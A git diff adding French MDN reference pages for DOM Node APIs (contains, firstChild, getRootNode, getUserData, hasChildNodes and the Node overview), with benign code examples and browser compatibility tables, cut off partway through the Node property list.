+<p><strong>Note :</strong> Parce que le résultat renvoyé par<em> </em><code>compareDocumentPosition</code> est un masque de bits, des <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_binaires" title="/en-US/docs/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators">opérateurs binaires</a> doivent être utilisés pour des résultats significatifs.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> La première instruction utilise l' <code>item(0)</code> de la méthode <a href="/en-US/docs/Web/API/NodeList/item">NodeList</a> , qui est l'équivalent de <code>getElementsByTagName('head')[0].</code></p>
+</div>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-comparedocumentposition','Node.compareDocumentPosition()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#Node3-compareDocumentPosition','Node.compareDocumentPosition()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/fr/docs/Web/API/Node/contains" title="/en-US/docs/DOM/Node.contains">Node.contains</a></code></li>
+</ul>
diff --git a/files/fr/web/api/node/contains/index.html b/files/fr/web/api/node/contains/index.html
new file mode 100644
index 0000000000..912ef76f66
--- /dev/null
+++ b/files/fr/web/api/node/contains/index.html
@@ -0,0 +1,115 @@
+---
+title: Node.contains
+slug: Web/API/Node/contains
+tags:
+  - API
+  - DOM
+  - Filiation
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Node/contains
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div>La méthode <strong><code>Node.contains()</code></strong> renvoie une valeur {{jsxref("Boolean")}} (<em>booléenne</em>) indiquant si un nœud est un descendant d'un nœud donné, c'est-à-dire le nœud lui-même, l'un de ses enfants directs ({{domxref("Node.childNodes", "childNodes")}}), l'un des enfants directs des enfants, et ainsi de suite.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">node.contains( otherNode )
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Cette fonction vérifie si un élément est dans le corps de la page. Comme <code>contains</code> est inclusif, déterminer si le corps est contenu en lui-même n'est pas le but de <code>isInPage<font face="Open Sans, sans-serif">,</font></code><font face="Open Sans, sans-serif"> donc ce cas renvoie </font><code>false</code>.</p>
+
+<pre class="brush:js">function isInPage(node) {
+  return (node === document.body) ? false : document.body.contains(node);
+}</pre>
+
+<p> </p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-node-contains", "Node.contains()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>5.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.0<sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer <a href="https://connect.microsoft.com/IE/feedback/details/780874/node-contains-is-incorrect">only supports <code>contains()</code> for elements</a>.</p>
+
+<p>[2] Safari 2.x <a href="https://books.google.de/books?id=KW9G9rdlStIC&amp;lpg=PA299&amp;ots=4XRWUISZVr&amp;dq=safari+node+contains+professional+javascript&amp;pg=PA299&amp;hl=de#v=onepage&amp;q=safari%20node%20contains%20professional%20javascript&amp;f=false">implemented <code>contains()</code> incorrectly</a>.</p>
+</div>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.compareDocumentPosition")}}</li>
+ <li>{{domxref("Node.hasChildNodes")}}</li>
+</ul>
diff --git a/files/fr/web/api/node/firstchild/index.html b/files/fr/web/api/node/firstchild/index.html
new file mode 100644
index 0000000000..a9392e7650
--- /dev/null
+++ b/files/fr/web/api/node/firstchild/index.html
@@ -0,0 +1,92 @@
+---
+title: element.firstChild
+slug: Web/API/Node/firstChild
+tags:
+  - API
+  - DOM
+  - Enfant
+  - Noeuds
+  - Propriété
+translation_of: Web/API/Node/firstChild
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule <strong><code>Node.firstChild</code> r</strong>envoie le premier nœud enfant de l'arbre ou <code>null</code> s'il n'en a pas. Si le noeud est un <code>Document</code> , il renvoie le premier noeud de la liste de ses enfants directs.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>childNode</var> = <var>node</var>.firstChild;</pre>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<p>Cet exemple montre l'utilisation de <code>firstChild</code> et la manière dont les nœuds d'espaces peuvent interférer.</p>
+
+<pre>&lt;p id="para-01"&gt;
+  &lt;span&gt;Premier span&lt;/span&gt;
+&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+&lt;/script&gt;
+</pre>
+
+<p>Dans le code ci-dessus, la <a href="https://developer.mozilla.org/fr/docs/Web/API/Console">console</a> affichera « #text » car un nœud texte a été inséré pour préserver les blancs entre la fin des balises ouvrantes &lt;p&gt; et &lt;span&gt;. <strong>Tout</strong> <a href="https://developer.mozilla.org/fr/docs/Gestion_des_espaces_dans_le_DOM">espace</a> provoquera l'insertion d'un nœud <code>#text</code> , qu'il s'agisse d'un simple espace ou de plusieurs, de retours à la ligne, tabulations, etc.</p>
+
+<p>Un autre nœud <code>#text</code> est inséré entre les balises de fermeture &lt;/span&gt; et &lt;/p&gt;.</p>
+
+<p>Si ces espaces sont retirés du code source, les nœuds <code>#text</code> n'apparaîtront plus et l'élément span deviendra le premier enfant du paragraphe.</p>
+
+<pre>&lt;p id="para-01"&gt;&lt;span&gt;Premier span&lt;/span&gt;&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+&lt;/script&gt;
+</pre>
+
+<p>À présent, l'alerte affichera « SPAN ».</p>
+
+<p>Pour éviter le problème avec <code>node.firstChild</code>  renvoyant des noeuds <code>#text</code> ou <code>#comment</code>,  {{domxref("ParentNode.firstElementChild")}}  peut être utilisé pour renvoyer seulement le premier noeud élément. Toutefois,  <code>node.firstElementChild</code> nécessite un "shim" pour Internet Explorer 9 et antérieurs.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-firstchild', 'Node.firstChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-169727388', 'Node.firstChild')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-169727388', 'Node.firstChild')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-169727388', 'Node.firstChild')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.firstChild")}}</p>
+
+<div id="compat-desktop"> </div>
diff --git a/files/fr/web/api/node/getrootnode/index.html b/files/fr/web/api/node/getrootnode/index.html
new file mode 100644
index 0000000000..277df08cd3
--- /dev/null
+++ b/files/fr/web/api/node/getrootnode/index.html
@@ -0,0 +1,95 @@
+---
+title: Node.getRootNode()
+slug: Web/API/Node/getRootNode
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeuds
+  - Racine
+translation_of: Web/API/Node/getRootNode
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <strong><code>getRootNode()</code></strong> de l'interface {{domxref("Node")}} renvoie le contexte de la racine de l'objet, qui peut optionnellement inclure la racine "shadow" si elle est disponible.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var root = node.getRootNode(options)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Un objet qui définit les options pour obtenir le noeud racine. Les options disponibles sont :
+ <ul>
+  <li><code>composed</code> : un {{jsxref('Boolean')}} (<em>booléen</em>) qui indique si la racine shadow doit être retournée (<code>false</code> (<em>faux</em>) par défaut) ou un noeud racine au-delà de la racine shadow (<code>true</code>).</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Retourne">Retourne</h3>
+
+<p>Une interface {{domxref('Node')}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Le premier exemple retourne une référence au noeud HTML/document lorsqu'il est exécuté dans les navigateurs de support :</p>
+
+<pre class="brush: js language-html"><code class="language-html">rootNode = node.getRootNode();</code></pre>
+
+<p>Cet exemple plus complexe montre la différence entre retourner une racine normale et une racine qui inclut la racine shadow (voir le <a href="https://github.com/jserz/js_piece/blob/master/DOM/Node/getRootNode()/demo/getRootNode.html">code source complet</a>):</p>
+
+<pre class="brush: html">&lt;!-- source: https://github.com/jserz/js_piece/blob/master/DOM/Node/getRootNode()/demo/getRootNode.html --&gt;
+&lt;div class="js-parent"&gt;
+    &lt;div class="js-child"&gt;&lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="js-shadowHost"&gt;&lt;/div&gt;
+&lt;script&gt;
+    // work on Chrome 54+，Opera41+
+
+    var parent = document.querySelector('.js-parent'),
+        child = document.querySelector('.js-child'),
+        shadowHost = document.querySelector('.js-shadowHost');
+
+    console.log(parent.getRootNode().nodeName); // #document
+    console.log(child.getRootNode().nodeName); // #document
+
+    // create a ShadowRoot
+    var shadowRoot = shadowHost.attachShadow({mode:'open'});
+    shadowRoot.innerHTML = '&lt;style&gt;div{background:#2bb8aa;}&lt;/style&gt;'
+        + '&lt;div class="js-shadowChild"&gt;content&lt;/div&gt;';
+    var shadowChild = shadowRoot.querySelector('.js-shadowChild');
+
+    // The default value of composed is false
+    console.log(shadowChild.getRootNode() === shadowRoot); // true
+    console.log(shadowChild.getRootNode({composed:false}) === shadowRoot); // true
+    console.log(shadowChild.getRootNode({composed:true}).nodeName); // #document
+&lt;/script&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-getrootnode','getRootNode()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.Node.getRootNode")}}</p>
+</div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/fr/web/api/node/getuserdata/index.html b/files/fr/web/api/node/getuserdata/index.html
new file mode 100644
index 0000000000..0ddb31d8ff
--- /dev/null
+++ b/files/fr/web/api/node/getuserdata/index.html
@@ -0,0 +1,118 @@
+---
+title: Node.getUserData()
+slug: Web/API/Node/getUserData
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Node/getUserData
+---
+<div>{{APIRef("DOM")}}{{obsolete_header}}</div>
+
+<p>La méthode <code><strong>Node.getUserData()</strong></code>renvoie tout {{domxref("DOMUserData")}} d'utilisateur défini précédemment sur le noeud donné par {{domxref("Node.setUserData()")}}.</p>
+
+<div class="note">
+<p>Les méthodes <code>Node.setUserData</code> et {{domxref("Node.getUserData")}} ne sont plus disponibles pour le contenu à partir du web. {{domxref("Element.dataset")}} ou <a href="/en-US/docs/JavaScript/Reference/Global_Objects/WeakMap"><code>WeakMap</code></a> peuvent être utilisés à la place.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>userData</em> = <em>someNode</em>.getUserData(<em>userKey</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<ul>
+ <li><code>userKey</code> est la clé pour choisir les données spécifiques recherchées pour le nœud donné. Plus d'une clé peuvent avoir été assignées sur un nœud donné, contenant leurs propres valeurs.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var d = document.setUserData('key', 15, null);
+console.log(document.getUserData('key')); // 15</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Supprimée de la spécification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#Node3-getUserData', 'Node.getUserData()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(1)}}<br>
+    {{CompatNo}} 22.0[1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(1)}}<br>
+    {{CompatNo}} 22.0[1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La méthode est toujours disponible à partir de scripts chrome.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.setUserData()")}}</li>
+ <li>{{domxref("UserDataHandler")}}</li>
+ <li>{{domxref("DOMUserData")}}</li>
+</ul>
diff --git a/files/fr/web/api/node/haschildnodes/index.html b/files/fr/web/api/node/haschildnodes/index.html
new file mode 100644
index 0000000000..93d5f636aa
--- /dev/null
+++ b/files/fr/web/api/node/haschildnodes/index.html
@@ -0,0 +1,122 @@
+---
+title: element.hasChildNodes
+slug: Web/API/Node/hasChildNodes
+tags:
+  - API
+  - DOM
+  - Enfant
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Node/hasChildNodes
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode  <code><strong>Node.hasChildNodes()</strong></code> renvoie une valeur <strong>booléenne</strong> indiquant si le {{domxref("Node","noeud")}} actuel possède des <a href="https://developer.mozilla.org/fr/docs/Web/API/Node/childNodes">nœuds enfants</a> ou non.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">resultat =<em>element</em>.hasChildNodes();
+</pre>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<p>L'exemple suivant supprime le premier noeud enfant à l'intérieur de l'élément avec l'identifiant <code>"foo"</code> si "foo" a des noeuds enfant.</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> foo <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"foo"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span>foo<span class="punctuation token">.</span><span class="function token">hasChildNodes</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// faire quelque chose avec les 'foo.childNodes'</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Polyfill</h2>
+
+<p> </p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="punctuation token">;</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>prototype<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    prototype<span class="punctuation token">.</span>hasChildNodes <span class="operator token">=</span> prototype<span class="punctuation token">.</span>hasChildNodes <span class="operator token">||</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">return</span> <span class="operator token">!</span><span class="operator token">!</span><span class="keyword token">this</span><span class="punctuation token">.</span>firstChild<span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span>Node<span class="punctuation token">.</span>prototype<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Il y a différentes façons de déterminer si le noeud a un noeud enfant :</p>
+
+<ul>
+ <li>node.hasChildNodes()</li>
+ <li>node.firstChild != null (ou juste node.firstChild)</li>
+ <li>node.childNodes &amp;&amp; node.childNodes.length (ou node.childNodes.length &gt; 0)</li>
+</ul>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a href="https://dom.spec.whatwg.org/#dom-node-haschildnodes">WHATWG: hasChildNodes</a></li>
+ <li><a class="external external-icon" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-810594187">hasChildNodes</a></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>7.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.childNodes")}}</li>
+ <li>{{domxref("Node.hasAttributes")}}</li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p> </p>
diff --git a/files/fr/web/api/node/index.html b/files/fr/web/api/node/index.html
new file mode 100644
index 0000000000..2d46618b6b
--- /dev/null
+++ b/files/fr/web/api/node/index.html
@@ -0,0 +1,310 @@
+---
+title: Node
+slug: Web/API/Node
+tags:
+  - API
+  - DOM
+  - Document
+  - Element
+  - Interface
+  - Node
+  - Référence DOM
+  - Structure
+  - hierarchy
+translation_of: Web/API/Node
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p><code><strong>Node</strong></code> (<em>nœud)</em> est une classe abstraite de laquelle de nombreux objets de type DOM API héritent, leur permettant d'être traités de manière similaire et souvent interchangeable. Étant une classe abstraire, il n'existe pas d'objet qui soit directement un <code>Node</code>. Tous les objets implantant les fonctionnalités de <code>Node</code> sont des instances d'une de ses sous-classes, dont les plus notables sont {{domxref("Document")}}, {{domxref("Element")}} et {{domxref("DocumentFragment")}}.</p>
+
+<p>De pls, tous les types de nœuds du DOM sont représentés par une classe héritant des propriétés et méthodes de <code>Node</code> : {{domxref("CharacterData")}} (duquel {{domxref("Text")}}, {{domxref("Comment")}} et {{domxref("CDATASection")}} héritent), {{domxref("ProcessingInstruction")}}, , {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}} et {{domxref("EntityReference")}}.</p>
+
+<p>Les propriétés ou méthodes de ces interfaces peuvent retourner <code>null</code> lorsque leur existence n'est pas pertinente. Elles peuvent aussi générer une exception – par exemple lors de l'ajout d'un enfant à un type de nœud pour lequel aucun enfant ne peut exister.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite les propriétés de son parent {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{DOMxRef("Node.baseURI")}} {{readonlyInline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} (<em>chaine de caractères</em>) <span id="result_box" lang="fr"><span>représentant l'URL de base du document contenant le <code>Node</code>.</span><span> En HTML, il correspond au protocole, au nom de domaine et à la structure du répertoire, jusqu'au dernier</span></span> <code>/</code>.</dd>
+ <dt>{{DOMxRef("Node.baseURIObject")}} {{Non-standard_inline()}} {{Fx_minversion_inline("3")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>(Non disponible pour le contenu Web). L'objet </span></span><span id="result_box" lang="fr"><span>en lecture seule</span></span> <span lang="fr"><span> {{Interface ("nsIURI")}} représentant l'URI de base pour l'élément.</span></span></dd>
+ <dt>{{DOMxRef("Node.childNodes")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un {{domxref ("NodeList")}} contenant tous les enfants de ce nœud. {{domxref ("NodeList")}} signifie que si les enfants du <code>Node</code> changent, l'objet {{domxref ("NodeList")}} est automatiquement mis à jour.</dd>
+ <dt>{{DOMxRef("Node.firstChild")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un {{domxref ("Node")}} représentant le premier nœud enfant direct de ce nœud ou <code>null</code> s'il n'a pas d'enfant.</dd>
+ <dt>{{DOMxRef("Node.lastChild")}} {{readonlyInline}}</dt>
+ <dd>Retourne un {{domxref("Node")}} représentant le dernier nœud enfant direct de ce nœud ou <code>null</code> s'il n'a pas d'enfant.</dd>
+ <dt>{{DOMxRef("Node.nextSibling")}} {{readonlyInline}}</dt>
+ <dd>Retourne un {{domxref("Node")}} représentant le nœud suivant dans l'arbre ou <code>null</code> s'il n'y en a pas.</dd>
+ <dt>{{DOMxRef("Node.nodeName")}} {{readonlyInline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant le nom du nœud. La structure du nom diffère du type de nœud. Par exemple, un {{domxref("HTMLElement")}} contiendra le nom de la balise correspondante, comme <code>'audio'</code>  pour un {{domxref("HTMLAudioElement")}}, un nœud {{domxref("Text")}} doit avoir la chaîne <code>'#text'</code> ou un  {{domxref("Document")}}  doit avoir la chaîne <code>'#document'.</code>.</dd>
+ <dt>{{DOMxRef("Node.nodeType")}}{{readonlyInline}}</dt>
+ <dd>Retourne un <code>unsigned short</code> (<em>non signé court</em>) représentant le type du nœud. Les valeurs possibles sont :</dd>
+</dl>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Nom</th>
+   <th scope="col">Valeur</th>
+  </tr>
+  <tr>
+   <td><code>ELEMENT_NODE</code></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <td><code>TEXT_NODE</code></td>
+   <td><code>3</code></td>
+  </tr>
+  <tr>
+   <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>4</code></td>
+  </tr>
+  <tr>
+   <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>5</code></td>
+  </tr>
+  <tr>
+   <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>6</code></td>
+  </tr>
+  <tr>
+   <td><code>PROCESSING_INSTRUCTION_NODE</code></td>
+   <td><code>7</code></td>
+  </tr>
+  <tr>
+   <td><code>COMMENT_NODE</code></td>
+   <td><code>8</code></td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_NODE</code></td>
+   <td><code>9</code></td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_TYPE_NODE</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_FRAGMENT_NODE</code></td>
+   <td><code>11</code></td>
+  </tr>
+  <tr>
+   <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>12</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{DOMxRef("Node.nodeValue")}}</dt>
+ <dd>Retourne / définit la valeur du nœud courant.</dd>
+ <dt>{{DOMxRef("Node.ownerDocument")}}{{readonlyInline}}</dt>
+ <dd>Retourne le {{domxref("Document")}}  auquel ce noeud appartient. Si aucun document ne lui est associé, il retourne <code>null</code> .</dd>
